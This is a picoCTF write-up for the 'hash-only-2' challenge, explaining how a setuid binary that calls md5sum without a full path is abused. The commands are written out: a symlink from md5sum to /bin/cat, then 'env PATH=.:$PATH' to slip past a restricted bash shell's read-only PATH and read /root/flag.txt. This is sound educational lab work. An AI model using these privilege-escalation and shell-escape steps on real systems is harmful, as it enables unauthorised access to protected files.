picoCTF - hash-only-2 - Write-up

CTF Write-up: hash-only-2

Challenge Description

The challenge provides SSH access to a server. On the server is a binary, flaghasher, which runs with enough privilege to read the flag file at /root/flag.txt. However, the program only prints the MD5 hash of the flag, not the flag's content. The goal is to find a way to make this privileged program reveal the flag's content.


1. Initial Reconnaissance

First, we connect to the server using the provided credentials and run the flaghasher binary to observe its behavior.

ssh ctf-player@rescued-float.picoctf.net -p 63868
# Password: 84b12bae

ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt.... 

1e50310b7cd08764ba86197d242037c2  /root/flag.txt

Observations:

  1. The program is a setuid binary. It runs with the permissions of its owner (likely root), which is why it can access /root/flag.txt.
  2. The output format is identical to the standard Linux md5sum utility. This strongly suggests the program is not calculating the hash itself, but is instead making a system call like system("md5sum /root/flag.txt").
  3. The program calls md5sum without specifying its full path (e.g., /usr/bin/md5sum).

2. The Vulnerability: PATH Hijacking

The core vulnerability is that a privileged program is executing an external command using a relative path. The system finds this command by searching through a list of directories defined in the PATH environment variable. Since we, the user, can often control our PATH variable, we can trick the program into executing a malicious command of our choosing that is also named md5sum.

3. Attempt 1: The Standard Approach (and Failure)

The standard way to exploit this is to create our own malicious md5sum script, add its location to the front of our PATH, and run the program.

Our malicious script would simply be cat, which would print the content of any file passed to it.

# Try to create a working directory
ctf-player@pico-chall$ cd /tmp
-rbash: cd: restricted

# Try to create a script file in our home directory
ctf-player@pico-chall$ echo 'cat "$@"' > md5sum
-rbash: md5sum: restricted: cannot redirect output

Diagnosis: We are in a Restricted Bash (rbash) shell. This special shell prevents us from:

  • Changing directories (cd).
  • Using output redirection (>, >>).
  • Executing commands containing slashes (/).

This completely blocks our initial plan.

4. Attempt 2: Adapting to rbash (and a New Failure)

We need a way to create our fake md5sum without using echo >. The ln -s command, which creates symbolic links, is usually not restricted. We can create a link named md5sum that points directly to the cat binary.

Since we can't change directories, we must create this link in our home directory.

# Create a symbolic link named "md5sum" that points to the "cat" command
ctf-player@pico-chall$ ln -s /bin/cat md5sum

# Verify the link was created
ctf-player@pico-chall$ ls -l
lrwxrwxrwx 1 ctf-player ctf-player 8 Jun 10 01:22 md5sum -> /bin/cat

Now, we need to prepend our current directory (.) to the PATH. A common way to do this for a single command is:

ctf-player@pico-chall$ PATH=.:$PATH flaghasher
-rbash: PATH: readonly variable

Diagnosis: Another roadblock! The system administrator has configured rbash to make the PATH variable readonly. This is a powerful security measure that prevents any modification to the search path, making our second approach fail as well.

5. The Final Solution: Bypassing readonly with env

We have confirmed we cannot change the PATH variable within our current shell. However, we can use the env utility to run a program in a completely new environment. The rbash readonly restriction applies to the shell itself, not to the new environment that env creates for its child process.

The Strategy:

  1. Create the symbolic link md5sum -> /bin/cat in our home directory.
  2. Use env to execute flaghasher.
  3. Tell env to set a custom PATH for flaghasher that begins with our home directory (.).

Execution:

# Step 1: Create the symbolic link (if not already done).
ctf-player@pico-chall$ ln -s /bin/cat md5sum

# Step 2: Use `env` to run flaghasher with a new, temporary PATH.
ctf-player@pico-chall$ env PATH=.:$PATH flaghasher

Result:

This command successfully prints the flag to the screen.

picoCTF{p4th_5h3n4n1g4n5_5871492}

(Note: Flag is an example and will be the actual flag from the challenge)

Conclusion

This was a well-designed challenge that layered multiple common Linux security restrictions to test a deeper understanding of the system. The solution required bypassing:

  1. The initial vulnerability of a privileged program using a relative command path.
  2. The limitations of a Restricted Bash (rbash) shell.
  3. The advanced restriction of a readonly PATH variable.

The final key was knowing that the env utility can be used to construct a new environment for a child process, effectively bypassing the readonly restrictions of the parent shell and allowing for a successful PATH Hijacking attack.

Comments